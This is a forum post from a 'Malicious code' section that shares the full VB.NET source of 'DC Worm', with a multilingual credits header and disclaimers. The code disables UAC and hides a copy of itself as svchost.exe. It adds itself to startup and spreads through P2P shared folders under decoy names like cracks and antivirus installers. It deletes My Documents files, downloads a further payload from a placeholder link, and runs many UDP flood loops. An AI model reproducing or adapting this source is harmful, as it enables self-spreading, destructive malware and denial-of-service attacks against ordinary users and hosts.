+- Parsi Coders (http://parsicoders.com)
+-- انجمن: Security and influence (http://parsicoders.com/forumdisplay.php?fid=59)
+--- انجمن: Influence (http://parsicoders.com/forumdisplay.php?fid=61)
+---- انجمن: Malicious code (http://parsicoders.com/forumdisplay.php?fid=62)
+---- موضوع: [VB.NET]DC Worm (/showthread.php?tid=928)
[VB.NET]DC Worm - Amin_Mansouri - 09-26-2011
در سوری زیر یه نمونه کرم قوی میبینید که با وی بی دات نوشته شده است :
توضیحات بیشتر :
کد:
'.::Functions::.'MSN Spread
'Mass Email Spread
'LimeWire Spread
'FrostWire Spread
'Lan Spread
'Other P2P Spread Features
'UDP Flood's The Host IP Address
'Disables UAC
'Anti's
'Duplicates Itself In Place's
'Adds Itself to Startup
'deletes my documents
'opens up pornhubکد :
کد:
'Credits And What Not :3'.::Index::.
'English
'Spanish
'French
'Warning
'Programs Code
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'DC Worm
'Programed By DeToX
'DC WoRm is A Strong Worm Built To Spread Your Infected File
'.::Credits::.
'- DeToX
'- WoRmy2 Source
'Please Include Credits Where Ever You Post This
'Please Note This Is A Private Source!
'In no way are the coders / distributers of this item reliable for your actions with this application.
'This application was made SPECIFICALLY for PERSONAL testing purposes ONLY!
'You will be held reliable for any of your actions with this security testing software and ONLY you.
'You may not share / distribute this (Application OR Code) ANYWHERE and you can only use / have Wormy (Application OR Code) on your personal property and NOTHING else.
'.::Functions::.
'MSN Spread
'Mass Email Spread
'LimeWire Spread
'FrostWire Spread
'Lan Spread
'Other P2P Spread Features
'UDP Flood's The Host IP Address
'Disables UAC
'Anti's
'Duplicates Itself In Place's
'Adds Itself to Startup
'deletes my documents
'opens up pornhub
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'"Gusano DC
'Programada por Detox
'"Gusano DC es un gusano fuerte, construido para expandir su archivo infectado
'.:: Créditos::.
'- Detox
'- Fuente WoRmy2
'Por favor incluye créditos donde quiera que este Post
'"Tenga en cuenta que esto es una fuente privada!
'"De ninguna manera son los codificadores / distribuidores de este elemento confiable de sus acciones con esta aplicación.
'"Esta solicitud se hace específicamente para propósitos de prueba PERSONALES SOLO!
'"Usted será confiable para cualquiera de sus acciones con este software de pruebas de seguridad y sólo usted.
'"Usted no puede compartir / distribuir este (aplicación o Código) en cualquier lugar y puede utilizar sólo o se ha agusanado (aplicación o Código) sobre sus bienes personales y nada más.
'.:: Funciones::.
'Spread MSN
'"Correo electrónico de comunicación difundieron
'"LimeWire Spread
'"FrostWire Spread
'"Lan Spread
'''''''''''''''''''''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''''''''''''''''''''
'«Worm DC
'"Programmé par DetoX
'«Worm est un ver DC forte Construit de diffusion de votre fichier infecté
'.:: Crédits::.
'»- Detox
'»- Source WoRmy2
'«S'il vous plaît inclure les crédits Où que vous Bloc
'«S'il vous plaît Remarque: Il s'agit d'une source privée!
'«En aucun cas, sont des codeurs / distributeurs de ce point fiables pour vos actions avec cette application.
'«Cette demande a été faite expressément aux fins de l'essai personnel!
'«Vous serez tenu fiable pour l'un de vos actions avec ce logiciel de test de sécurité et de vous seul.
'«Vous ne pouvez pas partager / distribuer ce (application ou Code) n'importe où et vous ne pouvez utiliser / ont Wormy (application ou Code) sur vos biens personnels et rien d'autre.
'.:: Fonctions::.
'Étendre MSN '
'Passez email de la masse
'Étendre LimeWire »
'Étendre FrostWire »
'Étendre Lan »
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'DeToX does not take any responsiblity on what you do with this program
'if you use this program for malicious reasons it is your choice
'this program was made for educationaly purpose's only and i DeToX will
'not be held responsible for anything you do with it.
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Imports System.Text
Imports System.Net.Mail
Imports System.IO
Imports System.Diagnostics
Imports System.Collections
Imports System.Net
Imports System.Net.Sockets
Imports System
Public Class Form1
Dim dosip
Dim infectedfile = "www.linktoinfectedfile.com\nameofinfectedfile.exe"
Dim starter = "C:\Users\Public\Downloads\nameofinfectedfile.exe"
Dim LimePfad As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\LimeWire\", "Shared", 0)
Dim infectedpath = Application.StartupPath
Dim uac
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Start()
Timer2.Start()
Timer3.Start()
uac = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA"
Me.Visible = False
Me.Hide()
Try
Shell("C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide) 'Disable UAC :3
Catch ex As Exception
End Try
Try
System.IO.File.Copy(Application.ExecutablePath, "C:\svchost.exe")
System.IO.File.SetAttributes("C:\svchost.exe", FileAttributes.Hidden)
Catch ex As Exception
End Try
Try
System.IO.File.Copy(Application.ExecutablePath, "C:\Spyware Killer.exe")
Catch ex As Exception
End Try
Try
System.IO.File.Copy(Application.ExecutablePath, "C:\Users\Public\Downloads\MyPornPics.exe")
Catch ex As Exception
End Try
Try
My.Computer.Registry.SetValue("HKLM\Software\Microsoft\Windows\CurrentVersion\Run", "Microsoft", "C:\svchost.exe")
Catch ex As Exception
End Try
Try
My.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\Software\Microsoft\MessengerService\Policies", "Warning", "(M)Warning: The person(s) you are talking to are infected! Send them the removal tool that can be found at " & infectedfile)
Catch ex As Exception
End Try
Try
Dim localIP() As System.Net.IPAddress = System.Net.Dns.GetHostAddresses(System.Net.Dns.GetHostName)
Dim strLocalIP As String = localIP(0).ToString
Dim DomainHostEntry As System.Net.IPHostEntry
DomainHostEntry = System.Net.Dns.GetHostEntry("workgroup")
Catch ex As Exception
End Try
Try
File.Copy(Application.ExecutablePath, "workgroup")
Catch ex As Exception
End Try
Try
Dim Spreadname As String = "windows_7full.scr"
IO.File.Copy(Application.ExecutablePath, LimePfad & Spreadname)
Catch ex As Exception
End Try
Try
Dim Spreadname As String = "windows_7full.scr"
IO.File.Copy(Application.ExecutablePath, (Environ("programfiles" & "\Shared\" & Spreadname)))
Catch ex As Exception
End Try
Try
Dim count As Integer = 0
Dim arSharedFolders As New ArrayList()
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\Downloads")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\My Shared Folder")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\Shared")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Ares\My Shared Folder")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) & "\Downloads")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\Shareaza\Downloads")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\emule\incoming\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\kazaa\my shared folder\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\kazaa lite\my shared folder\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\kazaa lite k++\my shared folder\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\icq\shared folder\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\grokster\my grokster\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\bearshare\shared\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\edonkey2000\incoming\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\morpheus\my shared folder\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\limewire\shared\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\tesla\files\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\winmx\shared\")
Dim folder As IEnumerator = arSharedFolders.GetEnumerator()
While folder.MoveNext()
Dim tada As String = Convert.ToString(folder.Current)
If Directory.Exists(tada) Then
Dim progDir As String = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles)
For Each d As String In Directory.GetDirectories(progDir)
Dim app As String = (tada & "\") & d.Substring(d.LastIndexOf("\")).Replace("\", String.Empty) & "-crack.exe"
File.Copy(Process.GetCurrentProcess().MainModule.FileName, app, True)
count += 1
Next
End If
End While
Catch
End Try
Try
Dim count As Integer = 0
Dim arSharedFolders As New ArrayList()
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\Downloads")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\My Shared Folder")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\Shared")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Ares\My Shared Folder")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) & "\Downloads")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\Shareaza\Downloads")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\emule\incoming\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\kazaa\my shared folder\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\kazaa lite\my shared folder\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\kazaa lite k++\my shared folder\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\icq\shared folder\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\grokster\my grokster\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\bearshare\shared\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\edonkey2000\incoming\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\morpheus\my shared folder\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\limewire\shared\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\tesla\files\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\winmx\shared\")
Dim folder As IEnumerator = arSharedFolders.GetEnumerator()
While folder.MoveNext()
Dim tada As String = Convert.ToString(folder.Current)
If Directory.Exists(tada) Then
Dim progDir As String = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles)
For Each d As String In Directory.GetDirectories(progDir)
Dim app As String = (tada & "\") & d.Substring(d.LastIndexOf("\")).Replace("\", String.Empty) & "-Norton360.exe"
File.Copy(Process.GetCurrentProcess().MainModule.FileName, app, True)
count += 1
Next
End If
End While
Catch
End Try
Try
Dim count As Integer = 0
Dim arSharedFolders As New ArrayList()
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\Downloads")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\My Shared Folder")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\Shared")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Ares\My Shared Folder")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) & "\Downloads")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\Shareaza\Downloads")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\emule\incoming\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\kazaa\my shared folder\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\kazaa lite\my shared folder\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\kazaa lite k++\my shared folder\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\icq\shared folder\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\grokster\my grokster\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\bearshare\shared\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\edonkey2000\incoming\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\morpheus\my shared folder\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\limewire\shared\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\tesla\files\")
arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\winmx\shared\")
Dim folder As IEnumerator = arSharedFolders.GetEnumerator()
While folder.MoveNext()
Dim tada As String = Convert.ToString(folder.Current)
If Directory.Exists(tada) Then
Dim progDir As String = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles)
For Each d As String In Directory.GetDirectories(progDir)
Dim app As String = (tada & "\") & d.Substring(d.LastIndexOf("\")).Replace("\", String.Empty) & "-Runescape_Account_Hacker.exe"
File.Copy(Process.GetCurrentProcess().MainModule.FileName, app, True)
count += 1
Next
End If
End While
Catch
End Try
Try
Dim mydo = My.Computer.FileSystem.SpecialDirectories.MyDocuments
For Each strin As String In mydo
My.Computer.FileSystem.DeleteFile(strin)
My.Computer.FileSystem.CreateDirectory(My.Computer.FileSystem.SpecialDirectories.MyPictures & "\2010 Summer Beach Pic's")
File.Copy(Process.GetCurrentProcess().MainModule.FileName, My.Computer.FileSystem.SpecialDirectories.MyPictures & "\2010 Summer Beach Pic\s", True)
Next
Catch ex As Exception
End Try
Try
Dim site = "www.pornhub.com"
Process.Start(site)
Catch ex As Exception
End Try
Try
Dim lov = My.Computer.FileSystem.SpecialDirectories.Desktop & "\"
File.Copy(Process.GetCurrentProcess().MainModule.FileName, lov, True)
Catch ex As Exception
End Try
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Call anti.killall()
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
If File.Exists(starter) Then
Else
Try
My.Computer.Network.DownloadFile(infectedfile, starter)
Finally
End Try
End If
End Sub
Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
Dim myHost As String = System.Net.Dns.GetHostName
Dim myIPs As System.Net.IPHostEntry = System.Net.Dns.GetHostByName(myHost)
Try
For Each myIP As System.Net.IPAddress In myIPs.AddressList
dosip = myIP.ToString
Next
Timer4.Start()
Timer3.Stop()
Catch ex As Exception
End Try
End Sub
Private Sub Timer4_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer4.Tick
BackgroundWorker1.RunWorkerAsync()
BackgroundWorker2.RunWorkerAsync()
BackgroundWorker3.RunWorkerAsync()
BackgroundWorker4.RunWorkerAsync()
BackgroundWorker5.RunWorkerAsync()
BackgroundWorker6.RunWorkerAsync()
BackgroundWorker7.RunWorkerAsync()
BackgroundWorker8.RunWorkerAsync()
BackgroundWorker9.RunWorkerAsync()
BackgroundWorker10.RunWorkerAsync()
BackgroundWorker11.RunWorkerAsync()
BackgroundWorker12.RunWorkerAsync()
BackgroundWorker13.RunWorkerAsync()
BackgroundWorker14.RunWorkerAsync()
BackgroundWorker15.RunWorkerAsync()
BackgroundWorker16.RunWorkerAsync()
BackgroundWorker17.RunWorkerAsync()
BackgroundWorker18.RunWorkerAsync()
BackgroundWorker19.RunWorkerAsync()
BackgroundWorker20.RunWorkerAsync()
BackgroundWorker21.RunWorkerAsync()
BackgroundWorker22.RunWorkerAsync()
BackgroundWorker23.RunWorkerAsync()
BackgroundWorker24.RunWorkerAsync()
BackgroundWorker25.RunWorkerAsync()
BackgroundWorker26.RunWorkerAsync()
BackgroundWorker27.RunWorkerAsync()
BackgroundWorker28.RunWorkerAsync()
BackgroundWorker29.RunWorkerAsync()
BackgroundWorker30.RunWorkerAsync()
End Sub
Private Sub BackgroundWorker1_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker1.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
Private Sub BackgroundWorker2_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker2.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
Private Sub BackgroundWorker3_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker3.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
Private Sub BackgroundWorker4_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker4.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
Private Sub BackgroundWorker5_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker5.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
Private Sub BackgroundWorker6_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker6.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
Private Sub BackgroundWorker7_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker7.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
Private Sub BackgroundWorker8_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker8.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
Private Sub BackgroundWorker9_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker9.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
Private Sub BackgroundWorker10_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker10.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
Private Sub BackgroundWorker11_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker11.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
Private Sub BackgroundWorker12_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker12.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
Private Sub BackgroundWorker13_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker13.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
Private Sub BackgroundWorker14_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker14.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
Private Sub BackgroundWorker15_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker15.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
Private Sub BackgroundWorker16_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker16.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
Private Sub BackgroundWorker17_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker17.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
Private Sub BackgroundWorker18_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker18.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
Private Sub BackgroundWorker19_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker19.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
Private Sub BackgroundWorker20_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker20.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
Private Sub BackgroundWorker21_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker21.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
Private Sub BackgroundWorker22_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker22.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
Private Sub BackgroundWorker23_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker23.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
Private Sub BackgroundWorker24_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker24.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
Private Sub BackgroundWorker25_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker25.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
Private Sub BackgroundWorker26_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker26.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
Private Sub BackgroundWorker27_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker27.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
